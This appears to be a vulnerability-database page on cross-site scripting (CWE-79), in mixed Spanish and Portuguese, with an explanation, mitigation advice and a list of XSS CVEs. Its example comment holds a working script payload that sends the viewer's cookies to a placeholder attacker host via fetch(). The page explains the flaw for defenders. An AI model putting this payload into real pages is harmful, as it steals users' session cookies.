Fallos del tipo CWE-79

30.050 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-3995MEDIUMOPEN-BRAIN <= 0.5.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'API Key' SettingEPSS 0.3%CVE-2023-24525MEDIUMSAP CRM WebClient UI - versions WEBCUIF 748, 800, 801, S4FND 102, 103, does not sufficiently encode user-controlled inputs, resulting in CroEPSS 0.3%CVE-2025-14945MEDIUMEvents Manager - Calendar, Bookings, Tickets, and more! <= 7.3.3 - Unauthenticated Stored Cross-Site Scripting via Event AttributesEPSS 0.3%CVE-2023-50874MEDIUMWordPress Ajax Load More Plugin <= 6.1.0.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2023-42308MEDIUMCross Site Scripting (XSS) vulnerability in Manage Fastrack Subjects in Code-Projects Exam Form Submission 1.0 allows attackers to run arbitEPSS 0.3%CVE-2024-56254MEDIUMWordPress Move Addons for Elementor plugin <= 1.3.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22752HIGHWordPress GSheetConnector for Forminator Forms Plugin <= 1.0.12 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-5024MEDIUMMemberPress <= 1.11.29 - Reflected Cross-Site Scripting via mepr_screenname and mepr_key ParametersEPSS 0.3%CVE-2023-6645MEDIUMPost Grid Combo – 36+ Gutenberg Blocks <= 2.2.64 - Authenticated (Contributor+) Cross-Site ScriptingEPSS 0.3%CVE-2026-48761MEDIUMSymfony: HtmlSanitizer UrlAttributeSanitizer Misses URL Attributes on <object>, <applet>, <iframe>, <img> and the URL Inside <meta http-equiv="refresh"> contentEPSS 0.3%CVE-2024-32583HIGHWordPress Photo Gallery by 10Web plugin <= 1.8.21 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-10227MEDIUMaffiliate-toolkit <= 3.6.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via atkp_product ShortcodeEPSS 0.3%CVE-2023-4500MEDIUMOrder Tracking Pro <= 3.3.6 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-41353HIGHphpipam 1.6 is vulnerable to Cross Site Scripting (XSS) via app\admin\groups\edit-group.phpEPSS 0.3%CVE-2026-1047MEDIUMsalavat counter Plugin <= 0.9.5 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'image_url' ParameterEPSS 0.3%CVE-2025-5721MEDIUMSourceCodester Student Result Management System Profile Setting Page update_profile cross site scriptingEPSS 0.3%CVE-2023-6072MEDIUM A cross-site scripting vulnerability in Trellix Central Management (CM) prior to 9.1.3.97129 allows a remote authenticated attacker to crafEPSS 0.3%CVE-2026-2509MEDIUMPage Builder: Pagelayer <= 2.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button Widget Custom AttributesEPSS 0.3%CVE-2023-1001MEDIUMxuliangzhan vxe-table vxe-textarea textarea.js export cross site scriptingEPSS 0.3%CVE-2026-4914MEDIUMStored XSS in Ivanti N-ITSM before version 2025.4 allows a remote authenticated attacker to obtain limited information from other user sessiEPSS 0.3%